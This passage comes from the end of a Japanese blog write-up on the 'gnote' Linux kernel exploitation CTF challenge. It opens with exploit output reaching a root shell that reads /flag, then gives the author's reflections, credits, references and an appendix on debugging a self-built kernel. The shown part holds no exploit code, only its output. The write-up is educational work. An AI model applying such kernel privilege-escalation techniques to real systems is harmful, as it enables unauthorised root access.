     ~0x1d8000
     ~0x1e0000
     ~0x1e8000
     ~0x1f0000
     ~0x1f8000
     ~0x200000
     ~0x208000
     ~0x210000
     ~0x218000
     ~0x220000
     ~0x228000
     ~0x230000
     ~0x238000
     ~0x240000
     ~0x248000
     ~0x250000
     ~0x258000
     ~0x260000
     ~0x268000
     ~0x270000
     ~0x278000
     ~0x280000
     ~0x288000
     ~0x290000
     ~0x298000
     ~0x2a0000
     ~0x2a8000
     ~0x2b0000
     ~0x2b8000
     ~0x2c0000
     ~0x2c8000
     ~0x2d0000
     ~0x2d8000
     ~0x2e0000
     ~0x2e8000
     ~0x2f0000
     ~0x2f8000
     ~0x300000
     ~0x308000
     ~0x310000
     ~0x318000
     ~0x320000
     ~0x328000
     ~0x330000
     ~0x338000
     ~0x340000
     ~0x348000
     ~0x350000
     ~0x358000
     ~0x360000
     ~0x368000
     ~0x370000
     ~0x378000
     ~0x380000
     ~0x388000
     ~0x390000
     ~0x398000
     ~0x3a0000
     ~0x3a8000
     ~0x3b0000
     ~0x3b8000
     ~0x3c0000
     ~0x3c8000
     ~0x3d0000
     ~0x3d8000
     ~0x3e0000
     ~0x3e8000
     ~0x3f0000
     ~0x3f8000
     ~0x400000
     ~0x408000
stack @ 0xaf3f6000 ~ 0xaf416000
get_shell @ 0x40200c72
*******************

Into loop: push any key

try :0x0
...repeating xchg $rbx, 
try :0x1000
try :0x2000
try :0x3000
try :0x4000
try :0x5000
try :0x6000
try :0x7000
try :0x8000
try :0x9000
try :0xa000
try :0xb000
try :0xc000
try :0xd000
/ # whoami
root
/ # cat /flag
TWCTF{flag}
/ # 

 

 

ちゃんとroot権限でflagが読めた!!!!!

味気ないflag!!

 

 

 





13: アウトロ

 

f:id:smallkirby:20191119225415p:plain

特に意味はないがアイキャッチ用にカーネルでバッグ作業風景を貼っておくの巻

 

 

慣れないkernel exploitationでありかなり時間がかかってしまった

だが今回やったことの中には

GOT overwrite/ UAF/ unsortedbin attackみたいな典型的な知識もきっと含まれているのだろう

(特に権限昇格の部分は常套手段らしい。参考の【13】参照)

今後もkernel問を解いていって、どれがよく使う知識なのかを見極めていきたい

 

 

 

さて、今回は人生で初めてkernel exploitationをしたことになる

(ほぼ丸パクリだが、実際にkernelを読んでexploitの意味や関係する分野の周辺知識を理解しようとした点で自分にとっては全くの無益ではないように思う。勿論見る側は参考元を見ればいいだけの話だが)

 

往々にして初めてというものは、あとから思い返すともの凄く恥ずかしい出来になる

自分がpwnを始めた3月頃の記事を見返しても、こいつ何言っているんだと言いたくなるような恥ずかしい内容になっているものも多い

きっとこの記事も、今後自分がレベルを上げたときに見返すと恥ずかしい出来のものであろう

 

だが誰もが最初はnewbieだ

newbieだからとうじうじ何もせずとどまっているよりも

恥を承知で人に聞いて、自分で調べて、行動したほうが何倍も面白い

 

見返して恥ずかしい内容だったならば、腕を上げたと自信を持てばいいじゃねえか





 

 

 

 

 

14: Thanks

なおこの記事はTSGの分科会#sig-source-reading-hardの一環とした書かれたものである

 

協力

toka, JP3BGY

 

Special Thanks for the chance of study through the exciting CTF problem

TokyoWesterns

 

 

 

 

 

 

 

 

0: 参考

【1: 全面的に参考にしたgnoteのwriteup記事】

rpis.ec

 

【2-1: 環境構築に参考にした記事】

kaki-no-tane.hatenablog.com

 

【2-2: 環境構築に参考にした記事】

jp3bgy.github.io

 

【3: slubアロケータについての概念から実際の仕組みまでの詳細な解説記事】

kernhack.hatenablog.com

 

【4: linux kernelのソースコード

elixir.bootlin.com



【5: slubアロケータについての補助的な理解】

qiita.com

 

【6: slubアロケータについてのIBMの記事】

www.ibm.com

 

【7: slubアロケータについての詳細なドキュメント(若干古いか?)】

www.kernel.org

 

【8: 2の筆者様によるslubアロケータの明快なスライド】

Slub data structure

 

 

 

 

【9: RCUについて】

lwn.net

 

【10: LKMについて】

www.ibm.com

 

 

【11: カーネルデバッグについて】

01.org

 

 

【12: ret2usrによる権限昇格について】

inaz2.hatenablog.com

 

 

【13: ユーザ空間への戻り方について】

rkx1209.hatenablog.com

 

 

【14: sysretqについて】

qiita.com

 






 

 

-1: Appendix

自前OS環境の整備

随時自分でkernel debugができるようシンボル情報付きのvmlinuxを入手するために自前のOS環境を用意する必要がある

これに結構手間取ってしまった

まずkernelのバージョンは4.19.65 SMP mod_unloadでありマイナー番号まで辿れるようにlinux-stableのgitレポジトリをcloneしてきた

 

menuconfigで以下を参考にして設定する

Build and run minimal Linux / Busybox systems in Qemu · GitHub

 

今回はモジュールのフォーマットに合わせるため加えてmenuconfigで

Processor type and features ---> Symmetric multi-processing support

Enable loadable module support ---> Module unloading

Processor type and features ---> Avoid speculative indirect branches in kernel (RETPOLINE有効に)

の3つをオンにしておく必要がある

 

上のような設定でビルドしたところモジュールのインストール自体はできているものの/proc/gnoteがつくられない

ということでデバッグをしてその原因を探っていく

 

/proc/にエントリを作る関数はproc_create_data()が最初である

これにブレイクポイントをはってデバッグしてみると

cpuinfoやslabinfoなどのエントリが作られるのは確認できたが

(この関数の第一引数がchar *nameである故RDIにはモジュール名へのポインタが入っている)

肝心のgnoteのためにproc_create_data()が呼ばれていないことがわかった

するとgnoteはインストール自体はされているがgnoteのinit関数が呼ばれていないことになる

 

モジュールのインストールはfinit_moduleシステムコールから行われる

これはload_module()を呼び出すのだが、gnoteに関してこの関数が呼ばれていることは確認できた

またload_module()の最後にはdo_init_module()を呼び出すのだが、これも確認できた

この関数中のfailラベルに飛ばされていないことも確認済みである

] mod->init!=NULLであればdo_one_initcall(mod->init)をするのだが

[-------------------------------------code-------------------------------------]
   0xffffffff8108e124 <do_init_module+52>:	mov    rax,QWORD PTR gs:0x14c40
   0xffffffff8108e12d <do_init_module+61>:	and    DWORD PTR [rax+0x24],0xffffbfff
   0xffffffff8108e134 <do_init_module+68>:	mov    rdi,QWORD PTR [rbx+0x150]
=> 0xffffffff8108e13b <do_init_module+75>:	test   rdi,rdi

[----------------------------------registers-----------------------------------]
RAX: 0xffff888000074440 --> 0x80000008 
RBX: 0xffffffffa0002140 --> 0x1 
RCX: 0x673 
RDX: 0x672 
RSI: 0x6000c0 
RDI: 0x0 
RBP: 0xffffc900000b7d60 --> 0xffffc900000b7e50 --> 0xffffc900000b7f10 --> 0xffffc900000b7f20 --> 0xffffc900000b7f48 --> 0x0 

このようにmod->init==NULLになっている

ということはモジュールの登録自体は正常にされているものの、init関数gnote_init()が呼ばれていないとういうことか。。。

 

 

 

その後色々と調べてみた結果

gnote_init()があるべきところにgnote_exit()がロードされており

gnote_init()が上書きされていたことがわかった

(なおモジュールシンボルのロードは lx-symbols コマンドで)

なぜ他の関数は正しくロードされているのにinit関数だけが上書きされているのかはわからなかった

 

結局、native環境(Linux 4.15.0-70-generic #79-Ubuntu SMP)においてlocalmodconfigしたところモジュールが動作した

今のところはこれでいいとしよう

 

なお、実際にkernel問題を解くだけならシンボル情報がなくとも

つまり自前で環境を構築せずとも大丈夫らしいが

今回はカーネルデバッグをしつつこの辺りの世界に慣れることが主たる目的であるため

このように自前の環境構築を行った

 

 

 

 

 

 

 

 

 

 

 

続く・・・





You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.